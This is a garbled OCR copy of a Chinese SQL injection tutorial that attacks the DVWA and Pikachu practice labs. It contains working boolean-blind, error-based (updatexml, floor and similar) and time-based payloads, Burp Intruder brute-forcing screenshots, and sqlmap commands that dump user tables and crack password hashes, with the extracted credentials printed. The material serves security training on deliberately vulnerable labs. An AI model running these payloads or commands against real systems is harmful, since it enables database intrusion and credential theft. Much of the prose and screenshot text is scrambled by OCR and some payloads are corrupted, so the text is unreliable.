Connection: close

Cookie: security=low; PHPSESSID=kltsavajqrmg90c4meblnbqrés

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

"Wk

J oo

B F T2 dvwa E 4

REAELERTRIEA

1'and if(substring((select TABLE NAME from information schema.TABLES where
TABLE SCHEMA=database() limit 1),1,1)='g',1,0)--+
MERESAREENKE

B intruder attack 18 Lt} = X

Attack Save Columns

[Rosut | Tago [ Pasons | Paoads | opions |

(@) Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for ull details.

Attacktype: | Cluster bomb

ZOTABLE_SCHEMA=database (| $2011nics20818, 1), 515, 1) =+27608+37, 1,0) ~—+eSwbmit=Swmic HTTP/L.1 8| [ aggy

4 : texc/html,application/xhtml+xml, application/xml. -8, image/webp, */*:q=0.8 Clear §
PN
g

27andvI01t (substring( (se

TTGET /01/vulnerabilitics/sqli_blind/ 7id: COTABLE_NANEY2Dfromt20informat Lon_schema. TABLES+Z0uhe)
.168.0.134

o Upgrade-Insecure-Requests: 1 Refiesh

BRI =g A=
PLECHIF T ER

T B K i 3K Bl &k 4 guestbook users

Intruder attack 18
Attack Save Columns

Results | Target | Positions | Payloads | Options

Filter: Hiding 3xx, 4xx and 5 responses

Request | Payloadt 4| Payload2. [ Payload3 [Status [ Eror | Timeout | Length | Comment
w01 0 1 ] 200 O O s
3006 0 2 u 200 =] [
w0 3 e 200 O O 4
2816 [ 4 s 200 a O aes8
2 0 5 t 200 O O 4
1126 0 3 b 200 8 (SR
31 0 7 o 200 o [
2% 0 8 o 200 O O 4
2041 0 9 {3 200 8 O asss
3002 1 1 u 200 =] O ass8
2807 1 2 s 200 8 O ez
w2 1 3 e 200 O O 4
an7 /] 4 " 200 o O 4858
282 1 5 s 200 a O 4858

Reguest | Response
[ Paams | vooders [ v |

GET /01/vulnerabilities/sqli_blind/71d=1%27ands201f (sWbstring ( (3elect+20TABLE_NAMEYZ0froms20intornat ion_schema, TABLESY209here¥20TABLE_SCHENA=database () %201 1mits201, 1)
Host: 192.168.0.134
3 User-Agent: Mozilla/S.0 (Vindows NT 10.0; Winé4; %€4; rvi88.0) Gecko/20100101 Firefox/88.0

/application/shtml+xml, applicat ion/ ) ©, image/ webp, */ *; 0.8
B-CN, 2h; 4=0.8, 2h-TW; G=0.7, 2h-HK; q=0.5, =n-US;4=0.3, ensop
zip, deflate

./ 1)=%275%27, 1,0) ~—+eSwbmit=submic ATTP/1.1

; PHPSESSTD= o La
pequests: 1
0 Cache-Control: max-age=0




BE kL2 /5 FHFESL 4% bupsuite MABHEE

I'and if(substring((select COLUMN_ NAME from information schema.COLUMNS
where TABLE NAME="users' limit 1,1),1,1)="u',1,0)--+

LA ENERNE NP FHECFTu REFToREENTE & NE E 4R
TUH o

select * from users where user_id=1 and if(substring((select COLUMN NAME from
information_schema.COLUMNS where TABLE NAME="users' and

TABLE SCHEMA=database() limit 0,1),1,1)="u',1,0);

[ Intruder attack 18 E— - a

Attack Save Columns

Results | Target | Positions | Payloads | Options

Filer: Hiding 3xx, 4xx and 6xx responses

Request | Payload1 4| Payload2 [ Payload [Status | Enor | Timeout | Length | Comment
1601 0 1 9 200 =] O ass8
W6 0 2 u 200 O O s
un 0 3 e 200 a8 O ass8
2816 [ 4 200 a O 4858
2921 0 5 t 200 a 4858
1126 0 6 b 200 a O 4ss8
2431 0 7 o 200 a 4858
2436 0 8 o 200 =] O ass8
w1 0 9 K 200 O O s
3002 1 1 u 200 a O 4858
2807 1 2 200 =] O 4sss
1412 1 3 e 200 a 4858
277 1 4 200 =] ) 4858
2822 1 5 s | 200 o O 48s8

Request | Response

TABLE_NANEY20fromt 20 informat ion_schema, TABLESS20vhere20TABLE_SCHEMA=database () $2011mics20L, 1), 5, 1) =+278%27, 1,0) ——4Submic=submic HTTP/L.1

00101 Firefox/88.0
*/%;q70.8

FKE users K F

W Intruder attack 22 IS —

Attack Save Columns

Results | Target | Positions | Payloads | Options

l Filter: Hiding 3xx, 4xx and 5xx responses

Request | Payload1 4| Payload2 | Payload3 Status  |Ermor | Timeout | Length | Comment
2161 0 1 i 200 a 0 4888
1567 0 2 d 200 (@] O 4888
2522 1 1 1 200 o ] 4858
2888 1 2 o 200 O O 4858
1934 1 3 q 200 =] (=] 4858
2180 1 4 i 200 o O 4858
2786 1 5 n 200 () o 4858
3003 4 1 P 200 (@] =] 4858
1209 2 2 a 200 =] O 488
3315 2 3 s 200 |} o 4858
3381 2 4 s 200 O O 4858
3867 2 5 w 200 =] =] 4858
2913 2 6 o 200 ] O 4858
3279 2 7 ' 200 o O 858
1605 2 8 d 200 u o 4858
1684 3 1 e 200 o O 4858
2650 3 2 m 200 2] 7} 4858
1216 3 3 a 200 o O 4858
2182 3 4 i 200 |8} [} 4858
2548 3 5 I 200 O O 4858
3365 4 1 s 200 o 0 4858
1691 4 2 e 200 o u 4858
1457 4 3 c 200 o O 4858
3263 4 4 r 200 [m] ™) 4858
1709 4 5 e 200 0 O 4858
3515 4 6 t 200 o ™) 4858
1206 5 1 a 200 a 0 4888
2820 5 10 n 200 O [0 4858

W Ja R Bk T o A

B AW EWIKES A E S K E
I'and if((SELECT LENGTH(CONCAT (user,0x3a,PASSWORD)) from users limit



1)=38,1,0)-+

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proy [ ntruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |

[1 T2 <I3<Je < Jol -]

B Intruder attack 23 e o

[ Target | Positions | Payloads | options |

Attack Save Columns

@ Payload Sets

Results | Target | Positions | Payloads | Options

You can define one or more payload sets. The number of payload sets depends on th l Filter: Hiding 3xx, 4xx and 5xx responses

Payload count: 40

Payload set: (1 -
Payload type: | Numbers |

Request count: 40

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified

Type: @ Sequential O Random
From: 1

To. 40

Step: 1

How many:

Base: @® Decimal O Hex

Min integer digits:
Max integer digits
Min fraction digits

Max fraction digits:

I®

Request 4| Payload |Status  |Eror | Timeout | Length | Comment
0 200 a [ 858
38 38 200 O [J 4858

Request | Response

different wa

Raw | Params | Headers | Hex |

1 GET /01/vulnerabilities/sqli_blind/?id=
1%27and%204if ( (SELECT+20LENGTH (CONCAT (user, Ox3a, PASSWORD) ) %20f:
Submit=Submit HTTP/1.1
2 Host: 192.168.0.134
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4; xé4; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
€ Accept-Encoding: gzip, deflate
Connection: close
8 Cookie: security=low; PHPSESSID=kltsavajqrmoSOc4mghlnberes
9 Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

& A burpsuie % BUK 5 Fn 55 A

© £ 192.168.0.134/01/vulnerabilities/sqli_blind/?id=1'and if(substring((select CONCAT (user,0x3a,PASSWORD) from

B3 =mmnt

Home

Instructions
Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

 saL injection (Blind)

Weak Session IDs ‘

2D

Vulnerability: SQL Injection (Blind)

%*20users%201imit%201) =38, 1,0) -—+&

useri:[ || submit

User ID exists in the database.

More Information

1'and if(substring((select CONCAT (user,0x3a,PASSWORD) from users limit

1),1,1)="a',1,0)--+

burpsuite 3 &% K E 4838 M.

(@) Payload Positions

Configure the positions where payloads il be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help fo full detals.

Attack type: [ Cluster bomb

abilities/sali_blind/ 73
0.131

: Mozilla/S.0 (Vindows NT 10.0; ¥ined:
xt/html, applicat ion/xhemlxnl , appLicat ion/m:
Accept-Language: 2h-C, 2h;q=0.8, 2h-T¥;q-0.7, 2h-HK;
Accept-Encoding: gzip, deflate

Cache-Control: max-age=0

64; £vi88.0) Gecko/20100101 Firefox/88.0
0.8

©, image/vel

5,2n-US:4=0.3, &0 40

PASSWORD) g 1

3*—‘(5\,;,.,“:5\@“( ey

Start attac

[ Aws

Clear§

| Auwos

Refiesh



=)

Filter: Hiding 3xx, 4xox and 5xx responses

Request | Payload1 4| Payload2 | Status | Error | Timeout | Length | Comment
0 200 [m] [ 488
401 1 Ja 200 a (J 4888
530 10 d 200 ] O 4858
491 1 c 200 o O e85
492 12 c 200 o] O 4888
133 13 3 200 o O 488
454 1% b 200 (=] O 48s8
215 15 5 200 C] 0 488
416 16 a 200 (=] O 488
“7 17 a 200 @ O 4888
298 18 7 200 o O 4858
259 19 6 200 @ O as58
522 2 d 200 o] O 4858
220 20 5 200 o O 4858
541 21 d 200 (=] O 48s8
262 2 6 200 C] 0 4888
63 23 1 200 (] O 488
544 2 d 200 o O 4888
345 2 8 200 o O 4858
146 2% 3 200 o O 4858
107 21 2 200 =] O 4858
308 2 7 200 o O 4858
549 29 d 200 =] O 4858

Request Response]
Raw | Params | Headers | Hex

erabilities/sqli_blind/?1d=1%27ands201f (substring ( (select

(user, 0x3a, PASSUORD) *20froms20userss201inics201), 1, 1) =527a%27, 1,0) ~—+&Submit=Submit HTTP/1.1

refox/88.0

SESS ID=k1tsava) qrmo90c4msh Lubar 65
1

ﬁ%f:%kﬁﬁgg 24 admin:5f4dec3bsaa765d61d8327deb882¢f99

1.17. WEEEN

BEERHRYE, BEEAIATH, BFHEETH, 2D rREGR, flaiEk
& E 4] select'
11064 - You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the rlght syntax to use near " at line 1

SHNRTR SIRES

1 select 1°'

B8 W\ %S
[SQL] select 1

[Err] 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1

BRFFAHEFESRERAEXLEREER FTEFE ARTRRK, E Xt
2., %5 php 44T SQL E A Bt — i # & X A 8 A B H, %ﬁﬁ%%i%u@
2 php # 1 mysql_error)E ¥ . W& SQL EANFER, 2F M E EE
LUK R R A E

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1

1.17.1. NMREEF 5347 saL IEEFEN
T dvwa 4471 4



<« c @ © & www.dvwa.com/vulnerabilities/view_source.php?id=sqli&security=low BE - Jmnmen e =
SRS e e E Bsens  DBwies oss

RIEEREL

ysqli_res |= mysqli_connect_error ()

\

R % £ 45 1%, msqli_error(). mysqli_connect error() 2 ¥ iE = EE E TLoRE|
TE k.

1.17.2. sQL WE&FENTEH

AW 2 & FARBEN WAET T wRREFTITRFERBEEN, WRHE
SQL 47 % A\ 2| mysql 04T Bl & R A E N

# O\ l'and info()--+ TR LHE, EHEE

SELECT first_name, last name FROM users WHERE user _id ='1" and info()--
2MEDTLENEAFEZINEN IHLNELR D IETE L,

§ER
sQL&: o

SELECT first_name, last_name FRON users WHERE user_id = ' 1’ and info() LIMIT 0, 25

MysQLiREl:

#1305 - FUNCTION dvwa.info does not exist

1173 R EEN KD BIREBRIER

WK EIES TEE EREEE R
I'and (updatexml(1,concat(0x7e,(select user()),0x7¢e),1))--+

& c ® © & 192.168.0.134/01/vulnerabilities/sqli/?id=1'and (updatexml(1,concat(0x7e,(select user()),0x7¢),1))--+&Submit=
B samersss @ HFEris B9 smmn

XPATH syntax error: ' root@localhost™

 user() & # AR E fh 89 B 4L version() . database() #t#E1F 2| mysql /3 RA f2 B f
LY EL,



& c Q © & 192.168.0.134/01/vulnerabilities/sqli/?id=1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+&Sub
B xameEsss @ FFELi B ammn

XPATH syntax error: ~“dvwa

&« c © & 192.168.0.134/01/vulnerabilities/sqli/?id=1'and (updatexml(1,concat(0x7e,(select version()),0x7e),1))--+&Subr
B yameEsss @ FHFEriE B =Emi

XPATH syntax error: ~~5.7.33-Oubuntu0. 16. 04. 1~

B2 Xl updatexml 45 840 R BTN 32 K AW A, wRREBN A Z AL 32
FRAEXAFHRERBR T &, BRAAR N FHREHKE,

P 7 updatexml B 25 X HFMEFE NS, mysql BHR S B FHRE.

1.floor()

select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information schema.tables group by

X)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7¢)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7¢e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select

user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select

user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select

user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select



user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select

user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

1.18. ZEEEATHIMEEN

EEEBRXTHWREEN TARMLAE, B ERIESL, BHFALIRLR
RFE, mEHRRTEAR,

1.18.1. EEFNBEIER
EN VL E 4] 34 7] 3R BLUE 4

1" and info()--+
I'and (updatexml(1,concat(0x7e,(select user()),0x7¢e),1))--+
#E E 4 dvwa

1.18.2. | EEFENIREL mysql M-S F12H65
R BUK 5 o 55 20 2E B2 root JH P A B R4 A BIAUTR

select authentication_string from mysql.user limit 1;
select(updatexml(1,concat(0x7e,(select (select authentication string from mysql.user
limit 1)),0x7¢),1))

select(updatexml(1,concat(0x7e,(select (substring((select authentication string from
mysql.user limit 1),32,40))),0x7e),1))

1.18.3. I FENKEER A

# ¥ mysql W & & information_schema i 3¥ 443% SQL 1& 5 & 18 3k Bk 4
* A floor | 5 3 T = F £ K & 7] Al

THE x4

I'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,table name,0x7e) FROM information_schema.tables where

table schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information schema.tables group by x)a)--+

<« (& Q © & www.dvwa.com/vulnerabilities/sqli/?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distir 3 e R
eSS @ FFELE AR

Duplicate entry *“guestbook™1’ for key ’’

¥ LIMIT 0,1 L& 1,1 K2 %~ k%
I'and(select 1 from(select count(*),concat((select (select (SELECT distinct



concat(0x7e,table name,0x7¢) FROM information schema.tables where
table schema=database() LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information schema.tables group by x)a)--+

< C @ © #& www.dvwa.com/vulnerabilities/sqli/?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distir
B xamesss @ Hxrre B smEm

Duplicate entry ’“users"1’ for key ’’

1.18.4. WEEFNIKENFER

ERB KA ZER T UM T B4, Wk usrs 89 F B 4

REBE T B4

I'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7¢) FROM information schema.columns where
table name='users' LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information schema.tables group by x)a)--+

& C @ ‘ © & www.dvwa.com/vulnerabilities/sqli/?id =R (MR R @ e (S e A e A AN SO R e, 5 w

Bamesss @ sirtis B smmn

Duplicate entry ’“user_id"1’ for key *’

REBE - NF B4

I'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,column_name,0x7¢) FROM information schema.columns where
table name='users' LIMIT 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information schema.tables group by x)a)--+

&« C ® © & www.dvwa.com/vulnerabilities/sqli/?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distin
BxmEsns @ HiFEts B smnt

Duplicate entry ’“first_name™1’ for key *’

[ L burpsuite #h & X F AL EHR B, wRME, BHEE, RELEMAN.



Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy ]lmmde( I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options ]

Target I Positions I Payloads TOptions ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Attack type: LSniper

-

W N

«

&

GET /vulnerabilities/sqli/?id=
1%27and (select%201%20from(selectsZ0count (*),concat ( (select%20(select%20 (SELECT%20distinct%Z0concat (0x7,column_name,0x7e) $20FROMSZ
Oinformation schema.columns%Z0vhere%20table name=%27users%27%20LIMITSZ0S ] 1) )%20froms20information schema.tables%201limit%200,1),f
loor (rand (0) *2) ) x520froms20information_schema.tabless20groups20bys20x) a) -NgESubmit=Submit HTTP/L.1

Host: wwv.dvwa.com
User-Agent: Mozilla/5.0 (VWindows NT 10.0; VWin€4; x€4; rv:88.0) Gecko/2010010L
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*; =
Accept-Language: zh-CN, zh;¢=0.8,zh-TW;¢=0.7, zh-HK; ¢=0.5,en-US;q=0.3,en; q=0.2
Accept-Encoding: gzip, deflate

irefox/88.0
8

Connection: close > 0‘ BEoARE
Cookie: PHPSESSID=58qf40kidiSgvel7p3dnibdscl; security=low 1 1XEXE
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

T

Sta

i

£/ E/[E]

2



W Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy TlntmdetT Repeater T Sequencer T Decoder T Comparer I Extender T Project options

i

1><:,2;<

[Target T Positions T Payloads TOpbqns ]

[[] Use denial-of-service mode (no results)
(] Store full payloads

@ Grep - Match

C) These settings can be used to flag result items containing specified expressions.

[V Flag result items with responses matching these expressions:

Enter a new item

paste | ODBC —
SQL
Load ... quotation mark
— | syntax »>
Remove | | ypa
W 111111
1and(select 1 from(select count(*),conca... |¥
A

Match type: @ Simple string
(U Regex

[] Case sensitive match
] Exclude HTTP headers

@ Grep - Extract

C) These settings can be used to extract useful information from responses into the attack results table.

(V) Extract the following items from responses:
| et oo OB TR
Edit .
FREN




o | Extender | Project options | User options |

= ntruder attack 2 == ] { ——
= allack Save Coumns S _
JResults T Target I Positions I Payloads I Options ]
| Filter: Showing all items |®,
uid= | e\ |varchar |ODBC |SQL  |quota... | syntax |ORA- | 111111 | T'and(... | entry ™~ | Comment
] O ] O g ] g ] g [  user_id
] ] ] ] (] ] (] ] a [J  first_name
0] ] 0] ] (0] ] g 0] a [J  last_name
] O g g g g g g o L) user
U O ] U 8] U g U g [J  password
] O ] O ] ] o ] o ) avatar
(] =] =] ] ] ] ] ] ] [J  last_login
[«¥ S T¥v|

1.18.5. W EINFKERFRREANS

HECEK H users KWL FHCHTFE 4L, BTRTUNAZEHTEN.
I'and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)--+

&« C @ © & www.dvwa.com/vulnerabilities/sqli/?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distin B e Ty
BExamesss @ HFrts [ smEmt
Duplicate entry ’#admin:5f4dcc3b5aa765d61d8327deb882cf994#1’ for key ’’

WRFAESAFF H1mit0,1 W& 1,1 b kEmE fRxE— AP AL
1 A busrpsuite xf f F 3% B

ns Start attac

Confi here payloads vil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for ulldetails

420userst2011mics20808, 1) | $20£romt201nformat ion_schema. tabl ]
el Glear§
| i
i
=T e
WETE

REHE FRELIRFTUREEAZ,



— I Intruder attack 3 - O X
—| Attack Save Columns
J Results T Target I Positions T Payloads T Options ]
’ Filter: Showing all items ‘(
| Payload ‘ Status | Eror | Timeout | Length | entry # | Commer
200 @) L) 472 admin:5f4dcc3b5aa765d61d8327deb882cf99
1 200 O O 474 gordonb:e99a18c428cb38d5f260853678922e03
2 200 g O an 1337:8d3533d75ae2c3966d7e0d4fcc69216b
3 200 U 0 472 pablo:0d107d09f5bbe40cade3de5c71e9e9b7
4 200 O 0 4713 smithy:5f4dcc3b5aa765d61d8327deb882cf99
5 200 U [J 4853
6 200 O [J 4853
7 200 LJ ) 4853
. 200 ([ 1 48&3
= SR
REUE B users TR P BIK S fn AL,

1.19. SQL JEN BB

1.19.1. BHEEN

BEEEAX G EN, BT EEANN—F, @%FEXMENELEARTARE
ENGR B AR T R — A RBE N TT .
£ mysql 2 B sleep() £ E R, sleep(10)5t 2 K48 EFE A 10 R B
75 o F W vE N ¥ LAME Al 'and sleep(10) #% 4 JEE FE B 10 A0 3R EIE B T o i B[] & 2D
F 10 RIExARE KA W5 E SQL B EEN.
mysql i yE N\ F B 8 B 2L sleep() . if(). substring()
select if(2>1,sleep(10),0) 2>1 X A# 45t & IR FE N E A E# SQL #E 47,
select if(length(database())>1,sleep(5),0) XMt A E W LRI E AT 1 2B S
?;Jfkﬁo

" or if(length(database())>1,sleep(5),0)-+ F LLFE|I W T & A T E AR FE, RIFX
/I\}?’\IS'E_ n>ln TERFEHE SHBEEENKET .



I8D #aH)

Get the pikachu

<« c © & 192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=-1' or if(length(database())>1,sleep(5),0)-- + &submit=25 SN +4 YN @ © 1 ®

B sammmes @ sELs B wmmn ’ [T Rl
& Pikachu JBEZIFEA pika~pika~ €)=
CEHNE A s ETFHENET :l— TR~

& 2ner v what's your username?
-E Cross-Site Scripting v iy
don't care who y«
@ CSRF v
#* SQL-Inject v
£

R Q=B Oswa OEe Nz (Jetess Qus Ownr BeR W Teens 5 uses 01 g -
W v IlQ @ /& HIML CSS JS XHR =k B sk WS st [xBEr  Fom:
ERE B A Bl WEX Cookie WR WE A
6 Gl Z 192 = NAF: 0% FHET: 028 TRF 3038
& GI / 192 s

i 5 Joss
€ Gl Z 192 g
2404 lozo
& Gl 7 192 =0
& Gl /Z 192. 5 |osis

7 = Tose

& GI Z 192 5 ozp
& Gl Z 19, ]

WMERERRMENE TUARR T EERHRTEAAH wEAERETE
Bt RS ELINBUE A AR A A

1.19.2. BHEFEANR B S

ETHE P8R BRI name WHKEEH#TEYW, EEZEFAELEN
T 3R A — A

Slink=connect();
Shtml="";

if(isset(SAGET[r
o T

| if(Sresult && mysq _r Sresult)==1){
while(Sdata=mysqli_fetch_assoc(Sresult)){
sid=Sdata[ 15

EREEX T LA sqlmap X iE N . sqlmap X #F £ M &K IE EiE N, i E
XFEMENT K
K el B A E N

sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%AS%E8%AF%A2" -p

name -v 1 --technique=T

-u Fo AR I EY url

-p 8RR S HK

v BoRIARAE R

--technique=T A& 77 % J B [B] v A\



# 127 pythohn3 sqlmap -u http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name
$ sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submi F% XAFXA2" -p name -v 1 —technique=T

[§1_
{1 1]
[
Iv

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state an
lopers assume no liability and are not n for any misu d c by this program

[*] starting @ 04:38:25 /2021-05-19/

1 [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=jlvnShggqki ... fcégotmlol’). Do you want to use those [¥/n] u
[ checking if the target is protected by some kind of WAF/IPS
[ ] [WARNING] heuristic (basic) test shows that GET parameter 'name’ might not be injectable
[ testing for SQL injection on GET pa r ‘nam
i .
[

testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)
ING] time-based (ompansnr\ requires er statistical model, please (done)
1 GET parameter 'name’ appears to be 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' m)ectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) 'values? [v/nl y
[ it checking if the injection point on GET parameter 'name’ is a false positive
GET parameter 'name’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 43 HTTI
Parameter: name (GET)
Type: time-based blind
Title: MysQL 0.12 AND time-based blind (query SLEEP)
Payl name=1' AND (SELECT 6066 FROM (SELECT(SLEEP(5)))aitr) AND ' gv108submi
] [INFO] the back-end DBMS is MysQL
NING] very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
5.0.12
data logged to text files under '/home/kali 1/sh t/192. .134°
haven't updated sqlmap for more than 321 days

[*] ending @ 04:41:56 21-05-19/

sqlmap M B EEN BETRIFT BEIXNMNEANFTBREEENL AR,
® FREHRE RN,

1# | sqlmap

sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -

name -v 1 --technique=T --current-user --current-db --batch

-—current-user %% BUFH P
--current-db ¥ & &

—-batch FERABRIAER By

134/06/vul/sqli/sqli_blind_t.php?name=15submit=-%E6¥F¥ASXEBKAF%A2" ~p name

e of sqlnap for attacking targets without prior mutual consent is illegal. It r's responsibility to obey all applicable loc
nsible for any misuse or damage caused by this program

[*] starting @ 1

1 [INFO] resuming back-end DBM
[ ] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7aoa8ts5mjb ... 4q6cl6lie4"'). Do you want to use those [Y/n] Y
qlmap resumed the following injection point(s) from stored s

name (GET)
time-based blind
: MySQL > 5.0.12 AND time-based blind (query SLEEP)
' AND (SELECT 6066 FROM (SELECT(SLEEP(5)))aitr) AND ' *="'gv106submit=%E6%IFXASKEBXAF%

e e s larger statistical model, please wait (done
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '-—time-sec')? [Y¥/n] ¥
10 iG] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
] adjusting time del seconds due to good response times

ocalho
fetching current database
pikachu

1
current datab.
[ 1L

] fetched data logged to text files under '/home/kali al/share/sqlmap/output
[ ] [WARNING] you haven't updated sqlmap for more than 322 days

HRE &K -D 45 F HAE E --tables 3k Bl

sqlmap -u
"http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%
E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch




of sqlmap for attacking targets without prior mutual cons
lopers assume no liability and are not responsible for any misuse or damag used by this program

[*] starting @ 12:46:16 /2021-05-19/

] resuming back-end DBMS 'm d
[ 10 )] testing connection to the target URL
you have not declared coukxe(s), while server wants to set its own (' PHPSESS!thoaBtsSm)b 4q6cl6lies’ ). Do you want to use those [¥/n] Y

based blind (query SLEEP)
M (SELECT(SLEEP(5)))aitr) AND ' ' = ' gv108submi t=XE6XIFXASKE

S: MysQL
] fetching cur:
[ 1 [WARNING] time-based n requires larger tistical model, pleas: s . (do
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '—time-sec')? [¥/n] Y
G] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptio
1 adjusti seconds due to d response times

localho
] 1 fetching current database
1 1 retrieved: pikachu
current dat, S
] ] fetched data logged to text files under ' e
[ 1 [WARNING] you haven't updated sqlmap for more than 322 days

RET B
1 sqlmap
sqlmap -u
"http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%
E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

[ i {8 1 resuming back-end DBMS '

[ 1 [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=8g2j7bbe64m ... rddubombt2'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:

-columns W F#H -T EAi-x%

name (GET)
time-based blind
Q 5.0.12 AND time-based blind (query SLEEP)
AND (SELECT 6066 FROM (SELECT(SLEEP(5)))aitr) AND *="'gv10&submi

[ ] [INFO] the back-end DBMS is MySQL
back-end DBMS: MysQL 2
I in database 'pik 3
[ 1 [w ] time-based comparison requires larger statistical model, please wait . (done)
to try to optimize value(s) for DBMS delay responses (option time-sec')? [¥/n] Y
5] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

retrieved:
ing time delay to 2 seconds due to good response times

int(10) uns
username
varchar(30)
password
varchar
level
int(11)

Database

Table:

[4 columns]

) unsigned

password
username

+
|
H
|
|
|
|

[INFO] fetched data logged to text files under '/home/kali
[WARNING] you haven't updated sqlmap for more than 322 days

[*] ending @ 13:41

sqlmap & 14 ik 5 Fu 55 A5

sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9IF%A5%E8%AF%A2" -
name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch

—-dump & H#HE

-C EREEMHNTE



ARNING] (case) time-based comparison requires reset of statistical model, Please Wait........ee.eesseenseeneennens (done)

F0] recognized
do you want to store hashes t
do you want to crack them via a dict
[ 1 [INFO] using hash method 'md5_g
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>1
[ 1 [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] N
FO] starting di ckin el

] starting 4

] cracked pas:

FO] cracked pas:

ﬁ)ﬂ sqlmap 4&@5} AR R E N B BRI Bk

1.19.3. EEFAN

¥ &EW: EEEWUHAT S & SQLER, FBHZE USSR, MHEE
THENKGRAENARF R, EF - F1EHFHEEPTREHNIE

7 mysql £ mysqli_ multi_ query 77 mysql multi_query
ZANBESAT—ABIENHHKEENEH. 2ANEGRA L) FTHTLR
EEEETMREREF 45T HEL, T EEEENEL,

select version();select database()

BEENNEEZRAWN TUEEEREMEENIED, Gk EEE GK
BEE, FBEERF

1.19.4. EBEFNRB O

